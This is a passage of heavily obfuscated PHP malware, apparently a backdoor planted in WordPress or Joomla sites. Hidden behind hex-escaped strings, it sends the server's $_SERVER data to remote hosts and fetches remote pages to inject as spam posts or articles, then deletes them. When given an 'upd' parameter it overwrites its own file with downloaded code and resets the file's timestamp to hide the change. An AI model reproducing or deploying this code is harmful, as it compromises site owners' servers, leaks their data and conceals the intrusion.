            ${"GL\x4f\x42\x41\x4c\x53"}["\x73\x76v\x6a\x69r\x6c"] = "\x62\x6fd\x79";
            fclose(${${"\x47L\x4f\x42A\x4c\x53"}["kk\x78\x68\x74\x6e\x77\x75\x65\x6f\x74"]});
            list(${${"G\x4c\x4fBALS"}["\x6e\x65m\x63\x79\x72\x6a\x71gw"]}, ${${"\x47\x4c\x4fB\x41\x4cS"}["s\x76\x76\x6a\x69\x72l"]}) = @preg_split("/\x5cR\\R/", ${${"G\x4cO\x42\x41L\x53"}["lzef\x76\x65\x63\x69"]}, 2);
            ${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x6cu\x69\x67\x78\x73\x63"]} = ${$lunluxvxvj};
        }
    }
    ${${"\x47\x4c\x4f\x42\x41LS"}["\x6cu\x69\x67\x78\x73\x63"]} = str_replace(${${"\x47\x4c\x4fBA\x4c\x53"}["\x64cl\x78rn\x65\x65\x6ain"]}, "\x48\x45RE\x49\x53U\x52\x4c", ${${"GLO\x42\x41L\x53"}["\x6cu\x69g\x78\x73\x63"]});
    ${${"\x47LO\x42\x41\x4c\x53"}["lu\x69\x67x\x73\x63"]}       = str_replace(${${"G\x4cOB\x41\x4c\x53"}["\x6eo\x75\x79\x62\x7a\x69\x7a\x75"]}, "\x48ERE\x49S\x53L\x55\x47", ${$ekuhfybcuke});
    echo ${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6c\x75i\x67x\x73\x63"]};
    if (!wp_delete_post(${${"\x47\x4c\x4fB\x41LS"}["\x75\x69\x69o\x6a\x63\x6bm\x79"]}, true)) {
        $bojmhweofb = "p\x6f\x73t\x5f\x69\x64";
        wp_delete_post(${$bojmhweofb}, true);
    }
    exit;
} elseif ($_GET["te\x73t\x70a\x67e"] == "\x6a\x6foml\x61g\x6fp\x6fst") {
    ${"GLOB\x41\x4c\x53"}["\x71\x70\x6dunoh\x67\x79"]    = "\x6a\x6fom\x6c\x61\x75r\x6c";
    $bhmwpmvcz                                           = "\x69d\x74\x65\x6d\x70";
    ${${"GLO\x42\x41LS"}["\x71\x70\x6d\x75\x6eo\x68gy"]} = explode("/", $_SERVER["SE\x52\x56\x45\x52\x5f\x4e\x41ME"] . $_SERVER["\x52\x45Q\x55\x45ST_\x55RI"]);
    unset(${${"\x47L\x4f\x42\x41\x4cS"}["\x6dc\x66\x6e\x6f\x6a\x67"]}[count(${${"GLO\x42\x41\x4c\x53"}["\x6d\x63fno\x6a\x67"]}) - 1]);
    $gljsnqasy                                                     = "\x69\x64t\x65m\x70";
    ${$bhmwpmvcz}                                                  = postitem("\x48E\x52\x45\x49S\x54\x49T\x4cE", "", "\x48\x45\x52\x45\x49\x53\x43\x4f\x4eT\x45\x4e\x54");
    ${${"GL\x4fB\x41\x4cS"}["\x74n\x71\x71\x62\x75l\x6d\x62\x6d"]} = explode(":", ${$gljsnqasy});
    ${${"G\x4c\x4fBA\x4cS"}["\x73t\x77h\x6f\x6di\x6e\x6ac\x6f"]}   = "\x48\x45\x52E\x49STIT\x4cE";
    if (is_array(${${"\x47LOBALS"}["\x74nq\x71\x62\x75\x6c\x6d\x62\x6d"]})) {
        ${"\x47LO\x42\x41L\x53"}["ix\x69w\x6ebgbd\x74\x72"]                    = "\x67\x6fo\x64j\x6f\x6fm\x6c\x61p\x61\x67\x65";
        $uxhheynyx                                                             = "\x69\x64t\x65\x6dp";
        ${"\x47\x4c\x4f\x42\x41LS"}["\x79\x62\x72\x77\x78\x6ehd\x63\x62\x76"]  = "\x72\x65sul\x74";
        ${${"\x47L\x4f\x42\x41LS"}["jy\x63i\x66vj\x6cp\x6c"]}                  = trim(${$uxhheynyx}[1]);
        ${"\x47L\x4fB\x41L\x53"}["\x64\x61d\x70b\x63\x6bq\x70"]                = "d\x62";
        ${"\x47\x4c\x4f\x42\x41L\x53"}["\x73e\x63ges\x78\x77\x6d\x64\x65\x72"] = "id";
        $oessgycugdt                                                           = "go\x6f\x64\x6a\x6fo\x6d\x6c\x61\x70a\x67e";
        $sxqppbe                                                               = "\x69\x64\x74\x65m\x70";
        $skfvsuopm                                                             = "\x74i\x74le\x74e\x6dp";
        ${"\x47\x4c\x4f\x42AL\x53"}["nmm\x70b\x62\x77"]                        = "qu\x65\x72y";
        ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x65\x72qa\x74\x62\x69\x73y"]       = "g\x6f\x6f\x64joomla\x70age";
        ${"G\x4c\x4f\x42\x41L\x53"}["x\x67m\x66\x6d\x64"]                      = "\x6c\x69\x6ek\x6f\x66\x70\x6f\x73\x74";
        $soamna                                                                = "\x69\x64";
        ${${"\x47\x4cO\x42\x41\x4cS"}["\x73ecg\x65\x73xw\x6d\x64\x65\x72"]}    = trim(${$sxqppbe}[0]);
        ${${"\x47L\x4f\x42ALS"}["\x78gm\x66\x6dd"]}                            = "\x68\x74\x74p://" . trim(implode("/", ${${"\x47LO\x42\x41L\x53"}["m\x63\x66\x6eoj\x67"]}), "/") . "/i\x6edex.p\x68\x70/?o\x70t\x69\x6f\x6e\x3dc\x6f\x6d\x5fc\x6fn\x74e\x6et&\x76\x69\x65w\x3d\x61r\x74\x69\x63l\x65\x26i\x64\x3d" . ${$soamna};
        $mgzdlnixkas                                                           = "\x67\x6f\x6fd\x6ao\x6fm\x6c\x61p\x61\x67\x65";
        if (ini_get("a\x6cl\x6f\x77\x5f\x75r\x6c\x5ffope\x6e") == 1) {
            ${"\x47LO\x42\x41\x4c\x53"}["\x6e\x6d\x75\x69\x72s\x72\x6bu\x6d"]          = "\x6c\x69\x6ek\x6f\x66p\x6fs\x74";
            $xgwhwsx                                                                   = "\x67\x6fod\x6a\x6fo\x6dla\x70\x61\x67\x65";
            ${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x75\x64\x69\x6b\x73n\x66s\x79\x65"]} = stream_context_create(array(
                "h\x74\x74p" => array(
                    "met\x68\x6f\x64" => "\x50O\x53T",
                    "h\x65ad\x65\x72" => array(
                        "\x43\x6f\x6e\x74\x65nt-t\x79\x70e: appli\x63\x61t\x69on/\x78-\x77ww-\x66\x6f\x72\x6d-urlencod\x65\x64"
                    ),
                    "con\x74\x65nt" => http_build_query($_SERVER)
                )
            ));
            ${$xgwhwsx}                                                                = @file_get_contents(${${"G\x4c\x4f\x42\x41\x4cS"}["n\x6d\x75\x69r\x73\x72\x6bu\x6d"]}, false, ${${"\x47\x4cO\x42\x41L\x53"}["ud\x69ksnf\x73\x79\x65"]});
        } elseif (function_exists("c\x75rl\x5fin\x69t")) {
            $abftonnu                                         = "\x63h";
            ${"\x47LOBA\x4c\x53"}["dyi\x69\x65\x65\x6e\x70"]  = "\x63h";
            $wbfwdnkyxhb                                      = "lin\x6bo\x66p\x6f\x73\x74";
            ${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x77lpgc\x71"]} = curl_init();
            curl_setopt(${${"G\x4cO\x42ALS"}["\x77\x6c\x70\x67\x63q"]}, CURLOPT_URL, ${$wbfwdnkyxhb});
            $sywatzg  = "ch";
            $uspuglzg = "\x67o\x6f\x64\x6a\x6fo\x6d\x6c\x61\x70\x61g\x65";
            curl_setopt(${$sywatzg}, CURLOPT_HEADER, false);
            curl_setopt(${$abftonnu}, CURLOPT_RETURNTRANSFER, true);
            curl_setopt(${${"\x47L\x4f\x42\x41\x4cS"}["dy\x69\x69\x65\x65\x6ep"]}, CURLOPT_REFERER, "");
            ${"\x47\x4cOBA\x4cS"}["\x78j\x66\x69\x71n\x76u\x65"] = "ch";
            ${$uspuglzg}                                         = @curl_exec(${${"G\x4c\x4fB\x41\x4c\x53"}["xjf\x69q\x6e\x76\x75\x65"]});
            curl_close(${${"\x47\x4cOBA\x4c\x53"}["wlp\x67c\x71"]});
        } else {
            $loghvjfr                                                                = "e\x72\x72\x73\x74\x72";
            ${"G\x4cO\x42\x41\x4c\x53"}["\x6a\x68\x68\x61fw\x67\x63w"]               = "f\x70";
            ${"G\x4c\x4f\x42\x41\x4c\x53"}["pt\x73\x65\x76\x7a\x76gvc"]              = "\x65\x72\x72\x6e\x6f";
            ${${"\x47L\x4f\x42\x41\x4cS"}["\x6b\x6b\x78h\x74\x6e\x77u\x65\x6f\x74"]} = fsockopen(${${"G\x4cOB\x41\x4c\x53"}["\x69\x6a\x68\x69\x66\x63y\x74dux"]}, 80, ${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x70ts\x65\x76\x7a\x76\x67\x76\x63"]}, ${$loghvjfr}, 10);
            if (${${"\x47\x4c\x4f\x42\x41\x4cS"}["j\x68\x68\x61\x66\x77gc\x77"]}) {
                $pihdkkvnlru                                                             = "o\x75\x74";
                ${"G\x4c\x4fB\x41\x4c\x53"}["\x6cy\x69\x66\x69\x73r\x7a"]                = "\x64a\x74\x61";
                ${"\x47\x4cO\x42\x41\x4cS"}["\x6a\x74y\x66\x74\x75\x6b\x64\x62\x68\x61"] = "\x66\x70";
                ${"\x47L\x4f\x42\x41\x4cS"}["f\x6e\x64r\x76ouz\x66\x64"]                 = "\x6f\x75t";
                $jfycybheel                                                              = "\x72e\x73\x70";
                $iylgqmu                                                                 = "\x6f\x75\x74";
                ${"GL\x4f\x42\x41L\x53"}["\x78\x67mciyn\x6cq\x75\x68"]                   = "\x64at\x61";
                ${${"\x47LOBAL\x53"}["\x66\x6d\x6a\x79w\x6d\x6e"]}                       = http_build_query($_SERVER);
                ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x73\x62rw\x65d\x79y"]                = "\x66\x70";
                ${"\x47L\x4f\x42\x41\x4c\x53"}["\x70\x6b\x73\x63eb\x71m"]                = "re\x73p";
                $ycryduik                                                                = "\x67\x6fo\x64\x6a\x6f\x6f\x6d\x6c\x61\x70\x61g\x65";
                ${${"G\x4c\x4fBA\x4cS"}["\x69\x6c\x78\x73\x75\x6a\x62"]}                 = "\x50\x4fS\x54 $linkofpost\x20HT\x54P/\x31.0\r\n";
                ${$pihdkkvnlru} .= "\x48ost: $doordomain\r\n";
                $rknqvsnsdbju = "\x6f\x75t";
                ${$iylgqmu} .= "\x43ont\x65n\x74-T\x79\x70\x65:\x20app\x6cic\x61t\x69\x6f\x6e/\x78-\x77ww-\x66\x6f\x72\x6d-\x75\x72\x6ce\x6e\x63od\x65\x64\r\n";
                ${$rknqvsnsdbju} .= "\x43o\x6eten\x74-\x4c\x65ngth:\x20" . strlen(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6c\x79i\x66\x69\x73r\x7a"]}) . "\r\n\r\n";
                fwrite(${${"\x47\x4c\x4f\x42\x41LS"}["kk\x78h\x74n\x77\x75e\x6f\x74"]}, ${${"\x47L\x4fB\x41L\x53"}["\x66\x6ed\x72\x76\x6f\x75z\x66\x64"]});
                fwrite(${${"G\x4c\x4fB\x41\x4c\x53"}["\x6a\x74\x79\x66\x74u\x6b\x64\x62\x68\x61"]}, ${${"GL\x4f\x42\x41\x4c\x53"}["\x78\x67mc\x69\x79\x6e\x6cqu\x68"]});
                ${${"\x47LOB\x41\x4cS"}["\x70\x6bs\x63\x65\x62qm"]} = "";
                while (!feof(${${"\x47L\x4fB\x41\x4c\x53"}["kkxh\x74nwu\x65\x6f\x74"]})) {
                    ${${"\x47L\x4f\x42\x41\x4cS"}["l\x7a\x65\x66\x76\x65\x63\x69"]} .= fgets(${${"\x47\x4cO\x42\x41\x4cS"}["\x6bk\x78\x68\x74\x6e\x77\x75\x65o\x74"]}, 4096);
                }
                fclose(${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x73br\x77\x65d\x79\x79"]});
                list(${${"\x47\x4c\x4fBA\x4c\x53"}["\x6e\x65m\x63yr\x6aq\x67w"]}, ${${"G\x4c\x4fB\x41\x4cS"}["w\x66\x79rn\x6b\x68\x62\x64\x72"]}) = @preg_split("/\x5cR\x5cR/", ${$jfycybheel}, 2);
                ${$ycryduik} = ${${"G\x4c\x4fB\x41\x4c\x53"}["\x77\x66\x79\x72\x6e\x6b\x68b\x64\x72"]};
            }
        }
        ${${"\x47\x4c\x4f\x42A\x4c\x53"}["elfc\x6b\x74\x7ab\x71\x66\x62"]} = preg_replace("/<\x74\x69t\x6c\x65\x3e(.*)<\x5c/t\x69\x74\x6c\x65\x3e/i\x55\x6d", "\x3c\x74it\x6c\x65\x3e" . ${$skfvsuopm} . "</ti\x74\x6c\x65\x3e", ${$mgzdlnixkas});
        $spvivejuv                                                         = "\x71\x75\x65\x72y";
        ${${"GLO\x42\x41\x4c\x53"}["\x64\x61\x64p\x62\x63k\x71\x70"]}      = JFactory::getDbo();
        ${$spvivejuv}                                                      = $db->getQuery(true);
        $query->delete($db->quoteName("#__c\x6f\x6e\x74en\x74"))->where(array(
            $db->quoteName("id") . "\x3d" . ${${"\x47LO\x42A\x4c\x53"}["s\x77c\x67\x73\x74\x6d\x67\x68"]}
        ));
        $db->setQuery(${${"GL\x4fBA\x4c\x53"}["n\x6d\x6dp\x62b\x77"]});
        ${${"\x47\x4cOBA\x4c\x53"}["\x79\x62\x72w\x78\x6e\x68\x64\x63b\x76"]} = $db->query();
        if (!empty(${${"GL\x4f\x42AL\x53"}["\x65r\x71\x61t\x62\x69s\x79"]}) && stripos(${${"\x47\x4cOB\x41\x4c\x53"}["\x69\x78i\x77\x6e\x62\x67\x62d\x74\x72"]}, "HE\x52E\x49\x53\x43ON\x54E\x4e\x54")) {
            ${"\x47L\x4f\x42\x41L\x53"}["\x6a\x64m\x74i\x6eq\x7aj"]                  = "\x72\x65g\x75l\x61r";
            ${"\x47\x4c\x4f\x42\x41L\x53"}["wi\x62\x68\x62\x70\x73\x6d\x70\x6c\x72"] = "goo\x64\x6a\x6f\x6f\x6d\x6c\x61\x70\x61\x67\x65";
            ${${"\x47\x4cOB\x41L\x53"}["\x65\x6cf\x63\x6b\x74\x7a\x62q\x66\x62"]}    = str_ireplace("c\x6f\x6et\x65n\x74=\x22\x48\x45\x52\x45IS\x43O\x4eT\x45\x4eT", "\x63\x6fn\x74\x65n\x74\x3d\"", ${${"\x47LOB\x41\x4c\x53"}["\x77i\x62\x68\x62p\x73mp\x6c\x72"]});
            ${"\x47\x4c\x4fB\x41LS"}["\x66\x73w\x64\x74nc\x71\x71\x6eb"]             = "\x6da\x74\x63\x68es";
            ${"G\x4c\x4f\x42\x41\x4cS"}["bzgk\x6e\x66\x65\x75\x67\x75"]              = "go\x6f\x64\x6a\x6f\x6f\x6dl\x61\x70\x61\x67\x65";
            ${${"G\x4c\x4f\x42\x41\x4cS"}["\x65\x6c\x66ck\x74\x7a\x62q\x66\x62"]}    = str_ireplace("c\x6f\x6e\x74\x65nt\x3d\" HER\x45\x49SC\x4f\x4e\x54\x45\x4e\x54", "\x63ont\x65n\x74\x3d\x22", ${${"\x47\x4cO\x42\x41\x4cS"}["\x65\x6c\x66\x63k\x74\x7a\x62q\x66b"]});
            ${"\x47\x4c\x4fB\x41\x4cS"}["\x66\x69\x75yu\x61\x73\x7aob"]              = "\x72eg\x75\x6c\x61r";
            ${${"GL\x4fB\x41\x4c\x53"}["\x62\x7ag\x6b\x6e\x66e\x75\x67u"]}           = preg_replace("/<met\x61\x20\x70\x72\x6fpe\x72\x74y\x3d[\"\x5c\x27]{1}og:de\x73c\x72ipt\x69\x6fn[\x22\\']{1}\x20c\x6fn\x74\x65\x6et\x3d[\x22\x5c\x27]{1}.*[\"\\\x27]{\x31}\\\x73?\x5c/\x3e/\x69U\x73", "", ${${"\x47L\x4f\x42\x41\x4cS"}["\x65\x6cf\x63\x6btz\x62\x71\x66\x62"]});
            ${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["fi\x75y\x75a\x73\x7a\x6f\x62"]}     = "|(<h\x32>.*H\x45\x52EIST\x49T\x4c\x45.*\x3c/\x682>)|iUs";
            ${"G\x4cOB\x41\x4cS"}["\x79n\x79l\x68ku\x6e\x76\x77g"]                   = "go\x6f\x64\x6a\x6f\x6fm\x6capag\x65";
            preg_match_all(${${"\x47\x4c\x4fB\x41L\x53"}["j\x64m\x74\x69\x6eq\x7a\x6a"]}, ${${"\x47\x4cO\x42\x41\x4cS"}["\x79\x6e\x79\x6ch\x6b\x75\x6e\x76w\x67"]}, ${${"\x47\x4cO\x42A\x4cS"}["i\x78\x65\x64\x61\x75\x75ag"]});
            if (!empty(${${"GLOB\x41\x4c\x53"}["\x66s\x77d\x74nc\x71\x71nb"]}[1][0])) {
                $ltwmnol                                                                 = "\x67\x6fo\x64\x6a\x6f\x6f\x6d\x6c\x61\x70age";
                ${"\x47L\x4f\x42\x41\x4c\x53"}["\x76\x70\x6e\x67\x63\x78q\x64oe"]        = "\x6d\x61\x74c\x68e\x73";
                ${${"\x47\x4cOB\x41\x4c\x53"}["\x65\x6c\x66c\x6b\x74z\x62\x71\x66\x62"]} = str_ireplace(${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x76pn\x67\x63\x78\x71\x64\x6fe"]}[1][0], "\x3ch1>\x48ERE\x49S\x481TA\x47</\x681>", ${$ltwmnol});
            }
        }
        echo ${$oessgycugdt};
        exit;
    }
} elseif (isset($_GET["\x75\x70d"])) {
    $jlduxfhx = "\x63\x6f\x6et\x65\x6et";
    $brbkohj  = "f\x69\x6c\x65\x74\x69m\x65";
    if (ini_get("a\x6c\x6cow_\x75\x72l_fope\x6e") == 1) {
        ${"G\x4c\x4f\x42AL\x53"}["ok\x66\x64\x6df\x72\x69u\x76g"]                = "\x75\x72l";
        ${"\x47L\x4f\x42\x41\x4cS"}["\x6e\x62\x66i\x67cp\x61\x68w\x70"]          = "\x63\x6f\x6e\x74\x65\x78\x74";
        $yhyrnhfj                                                                = "\x63\x6f\x6e\x74\x65x\x74";
        ${${"\x47L\x4f\x42\x41L\x53"}["\x6f\x6b\x66\x64\x6d\x66\x72\x69\x75vg"]} = "$url3?\x74\x79p\x65=\x66\x6f\x70en\x26th=$th&\x76\x6c\x3d$vl&\x75p\x64";
        ${$yhyrnhfj}                                                             = stream_context_create(array(
            "h\x74\x74p" => array(
                "met\x68\x6f\x64" => "PO\x53\x54",
                "\x68ea\x64\x65\x72" => array(
                    "\x43\x6f\x6e\x74e\x6e\x74-t\x79\x70e:\x20\x61p\x70li\x63\x61\x74\x69o\x6e/\x78-\x77w\x77-form-\x75rle\x6ecod\x65d"
                ),
                "c\x6fn\x74e\x6e\x74" => http_build_query($_SERVER)
            )
        ));
        ${${"G\x4c\x4fB\x41\x4cS"}["i\x6a\x6d\x6e\x70\x74t\x78"]}                = @file_get_contents(${${"\x47\x4cOBA\x4c\x53"}["\x6bp\x67y\x69\x63e\x76\x79z"]}, false, ${${"GL\x4f\x42AL\x53"}["nb\x66\x69\x67cp\x61hwp"]});
    } elseif (function_exists("c\x75\x72l\x5fi\x6ei\x74")) {
        ${"\x47\x4cO\x42\x41\x4c\x53"}["s\x6b\x6a\x62\x6c\x70\x6f"]          = "\x63\x68";
        ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["clhpi\x77\x79\x65\x76\x79\x78"]   = "\x63\x68";
        ${${"\x47L\x4f\x42\x41\x4c\x53"}["k\x70g\x79\x69\x63\x65\x76y\x7a"]} = "$url3?\x74yp\x65=\x63ur\x6c\x26t\x68=$th\x26\x76l=$vl\x26u\x70\x64";
        ${"G\x4c\x4f\x42\x41\x4cS"}["qspoo\x6f\x79"]                         = "c\x68";
        $watvrx                                                              = "\x63\x68";
        ${"\x47LO\x42\x41LS"}["qs\x6b\x77\x79v\x67h\x77\x74"]                = "\x63\x68";
        ${${"GL\x4f\x42\x41LS"}["\x63\x6ch\x70i\x77y\x65\x76y\x78"]}         = curl_init(${${"\x47\x4c\x4f\x42\x41LS"}["k\x70\x67\x79\x69\x63\x65\x76\x79z"]});
        curl_setopt(${$watvrx}, CURLOPT_HEADER, FALSE);
        curl_setopt(${${"G\x4c\x4f\x42AL\x53"}["\x77\x6c\x70\x67\x63\x71"]}, CURLOPT_RETURNTRANSFER, TRUE);
        curl_setopt(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["s\x6b\x6a\x62\x6c\x70\x6f"]}, CURLOPT_POSTFIELDS, http_build_query($_SERVER));
        ${${"\x47LOB\x41L\x53"}["i\x6a\x6d\x6e\x70\x74\x74\x78"]} = @curl_exec(${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x71s\x6bwyvg\x68\x77t"]});
        curl_close(${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x71\x73\x70o\x6f\x6f\x79"]});
    } else {
        ${"G\x4cO\x42\x41\x4c\x53"}["\x71\x6a\x6d\x64bw\x63\x70"]                    = "\x65\x72\x72s\x74\x72";
        ${"G\x4c\x4f\x42\x41\x4c\x53"}["\x66\x7a\x63r\x62\x73\x7a\x6b\x78\x6a\x6aw"] = "\x66p";
        ${${"G\x4c\x4f\x42A\x4cS"}["\x66z\x63r\x62s\x7a\x6b\x78\x6aj\x77"]}          = fsockopen(${${"\x47\x4cOB\x41LS"}["\x66\x76\x62\x6d\x63\x74w\x70"]}, 80, ${${"\x47\x4c\x4fB\x41\x4c\x53"}["t\x75pjhj\x62x\x78\x67"]}, ${${"\x47\x4c\x4fBAL\x53"}["\x71\x6a\x6ddbwcp"]}, 10);
        if (${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x6b\x6bx\x68\x74\x6ew\x75\x65o\x74"]}) {
            $ytcwqszqstj                                                   = "\x6fut";
            $cykprnkh                                                      = "\x64\x61\x74\x61";
            $iwwdniykixq                                                   = "\x68\x65\x61d\x65r";
            $idzfxenxstiw                                                  = "\x6f\x75\x74";
            $fgradkjgdul                                                   = "f\x70";
            ${${"G\x4cO\x42\x41\x4cS"}["\x66\x6d\x6a\x79\x77\x6d\x6e"]}    = http_build_query($_SERVER);
            ${${"G\x4cO\x42A\x4c\x53"}["i\x6c\x78\x73\x75j\x62"]}          = "POST\x20$file3?typ\x65=s\x6f\x63\x6b\x73&\x74h=$th&v\x6c\x3d$vl\x26up\x64 \x48T\x54\x50/\x31.\x30\r\n";
            ${"GL\x4f\x42\x41\x4c\x53"}["\x75q\x75\x63j\x62n\x79\x71\x62"] = "\x64\x61\x74\x61";
            $cyzhpjpsd                                                     = "\x6f\x75t";
            ${${"\x47\x4cOBA\x4c\x53"}["\x69\x6c\x78\x73u\x6a\x62"]} .= "\x48\x6fst:\x20$cardas\r\n";
            $cpspkqlvfm = "\x62\x6f\x64\x79";
            ${$cyzhpjpsd} .= "C\x6fnt\x65n\x74-\x54\x79\x70e: \x61\x70\x70\x6cica\x74\x69o\x6e/x-\x77ww-f\x6f\x72\x6d-\x75\x72\x6c\x65\x6eco\x64e\x64\r\n";
            ${$ytcwqszqstj} .= "Conte\x6et-L\x65n\x67th:\x20" . strlen(${$cykprnkh}) . "\r\n\r\n";
            fwrite(${${"G\x4c\x4fB\x41LS"}["\x6b\x6b\x78h\x74\x6e\x77\x75e\x6f\x74"]}, ${$idzfxenxstiw});
            fwrite(${${"\x47\x4c\x4f\x42A\x4cS"}["k\x6b\x78h\x74n\x77\x75\x65\x6f\x74"]}, ${${"\x47\x4cO\x42A\x4c\x53"}["u\x71u\x63\x6ab\x6ey\x71b"]});
            ${${"G\x4c\x4fBA\x4c\x53"}["\x6cz\x65\x66\x76ec\x69"]} = "";
            while (!feof(${${"\x47\x4cOB\x41L\x53"}["\x6bkxht\x6ew\x75eo\x74"]})) {
                ${"G\x4c\x4f\x42\x41\x4cS"}["\x77m\x77\x78\x76a\x70qtnj"] = "\x66p";
                ${${"\x47\x4cO\x42\x41L\x53"}["lz\x65\x66\x76\x65c\x69"]} .= fgets(${${"\x47L\x4f\x42\x41\x4c\x53"}["w\x6dwx\x76\x61pq\x74\x6e\x6a"]}, 4096);
            }
            fclose(${$fgradkjgdul});
            list(${$iwwdniykixq}, ${${"G\x4cOBA\x4c\x53"}["\x77\x66y\x72\x6e\x6bhbd\x72"]}) = @preg_split("/\x5c\x52\x5cR/", ${${"GL\x4f\x42\x41\x4c\x53"}["\x6cze\x66\x76e\x63i"]}, 2);
            ${${"\x47\x4c\x4fB\x41\x4cS"}["\x69\x6a\x6d\x6ept\x74\x78"]} = ${$cpspkqlvfm};
        }
    }
    if (${$jlduxfhx} == null) {
        exit;
    }
    ${"\x47L\x4fB\x41\x4cS"}["\x74\x6e\x6as\x61\x64en"] = "con\x74\x65n\x74";
    ${$brbkohj}                                         = filemtime(__FILE__);
    file_put_contents(__FILE__, ${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x74\x6e\x6as\x61\x64\x65\x6e"]});
    @touch(__FILE__, ${${"\x47L\x4f\x42\x41\x4c\x53"}["\x6d\x6fh\x74pr\x76\x78\x66"]});
} elseif (isset($_GET["\x77\x73"])) {
    ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x72wx\x77\x70\x6c\x78y"] = "\x66\x69\x6ce\x34";
    $ocshhiddyor                                                 = "\x63\x6fnt\x65\x6e\x74";
    $hlzhdxgauo                                                  = "\x63\x68ar\x73";
    ${${"\x47L\x4fB\x41L\x53"}["w\x67\x74f\x71\x77\x62"]}        = "\x68\x74t\x70://$jj/\x68a\x6edl\x65\x72s/\x74\x78\x74/" . $_GET["ws"] . ".tx\x74";
    ${"GL\x4fB\x41\x4c\x53"}["\x6e\x6ep\x76y\x6fo\x6c\x72\x73"]  = "\x63\x68ar\x73";
    ${${"\x47\x4cOB\x41L\x53"}["\x72\x77x\x77\x70\x6c\x78\x79"]} = "/handl\x65\x72\x73/\x74xt/" . $_GET["\x77s"] . "\x2etxt";
    if (ini_get("\x61\x6clo\x77\x5fu\x72l\x5f\x66o\x70e\x6e") == 1) {
        ${"\x47L\x4fBA\x4cS"}["\x6c\x6d\x6c\x78\x68\x63\x6dn\x70b\x70"]                = "\x63ont\x65nt";
        $emogxotf                                                                      = "\x75r\x6c4";
        ${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6c\x6d\x6c\x78\x68c\x6dn\x70\x62\x70"]} = @file_get_contents(${$emogxotf});
    } elseif (function_exists("\x63\x75r\x6c_in\x69\x74")) {
        $rcrjvrgiyolu                                     = "\x75\x72l\x34";
        ${${"G\x4c\x4f\x42A\x4c\x53"}["wlp\x67\x63\x71"]} = curl_init(${$rcrjvrgiyolu});
        $hthbdkdds                                        = "\x63h";
        curl_setopt(${${"\x47\x4c\x4f\x42\x41LS"}["\x77\x6c\x70\x67c\x71"]}, CURLOPT_HEADER, FALSE);
        ${"GL\x4f\x42\x41L\x53"}["\x62\x78\x70\x73\x79\x77\x6f\x69"] = "\x63\x6fnt\x65\x6e\x74";
        curl_setopt(${${"\x47L\x4fB\x41\x4c\x53"}["wlpgc\x71"]}, CURLOPT_RETURNTRANSFER, TRUE);
        ${${"\x47\x4cO\x42AL\x53"}["b\x78\x70\x73\x79\x77\x6fi"]} = @curl_exec(${$hthbdkdds});
        curl_close(${${"\x47\x4c\x4f\x42A\x4cS"}["\x77l\x70\x67c\x71"]});
    } else {
        ${"G\x4cO\x42A\x4cS"}["\x76w\x69\x70\x6a\x73\x6d\x63"] = "\x66p";
        $lwojcbwpqpg                                           = "jj";
        $mhethmfyglyk                                          = "f\x70";
        ${${"GLOBA\x4cS"}["\x76wi\x70\x6as\x6dc"]}             = fsockopen(${$lwojcbwpqpg}, 80, ${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x74\x75p\x6a\x68j\x62x\x78\x67"]}, ${${"\x47\x4cO\x42A\x4c\x53"}["\x76\x76ov\x6a\x6e\x6cr"]}, 10);
        if (${$mhethmfyglyk}) {
            ${"G\x4cO\x42\x41LS"}["\x78\x75\x6e\x65\x62\x66\x70"]    = "\x66\x70";
            ${${"\x47\x4c\x4fB\x41\x4cS"}["\x69lx\x73\x75\x6a\x62"]} = "G\x45\x54 $file4 \x48\x54TP/1\x2e1\r\n";
            ${${"G\x4cO\x42\x41LS"}["i\x6cx\x73uj\x62"]} .= "Host:\x20$jj\r\n";
            ${${"\x47LO\x42\x41\x4c\x53"}["i\x6c\x78\x73\x75\x6ab"]} .= "C\x6f\x6e\x74\x65n\x74-\x54ype: app\x6c\x69c\x61tio\x6e/\x78-w\x77\x77-f\x6f\x72m-u\x72l\x65n\x63o\x64ed\r\n";
            ${"\x47L\x4f\x42\x41\x4c\x53"}["p\x69\x77wf\x6dv\x72\x6bw"] = "\x66\x70";
            fwrite(${${"\x47\x4c\x4f\x42\x41L\x53"}["\x70i\x77w\x66m\x76\x72\x6b\x77"]}, ${${"\x47\x4c\x4f\x42\x41L\x53"}["\x69\x6c\x78s\x75j\x62"]});
            ${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x6c\x7a\x65f\x76\x65\x63\x69"]} = "";
            while (!feof(${${"\x47\x4c\x4f\x42\x41L\x53"}["\x6bk\x78\x68t\x6e\x77\x75\x65\x6f\x74"]})) {
                ${"GLO\x42\x41L\x53"}["\x73\x67u\x6ayn"] = "r\x65\x73p";
                ${${"G\x4c\x4f\x42\x41L\x53"}["\x73\x67ujy\x6e"]} .= fgets(${${"\x47\x4cOBA\x4c\x53"}["kk\x78\x68\x74n\x77\x75\x65\x6f\x74"]}, 4096);
            }
            $ghrtqogqlvd = "\x72\x65\x73p";
            fclose(${${"\x47\x4cO\x42A\x4c\x53"}["\x78u\x6ee\x62f\x70"]});
            ${${"\x47L\x4f\x42\x41L\x53"}["\x69jm\x6eptt\x78"]} = ${$ghrtqogqlvd};
        }
    }
    $jcgmxhb = "\x75\x72\x6c";
    if (${${"\x47L\x4f\x42\x41\x4cS"}["\x69\x6a\x6d\x6ep\x74\x74\x78"]} == null) {
        die("can\x27\x74 \x67e\x74\x20tx\x74\x20\x66il\x65");
    }
    ${$hlzhdxgauo}                                                        = "stu\x76\x77x\x79z";
    $xxwjvxmwhjhw                                                         = "f\x70";
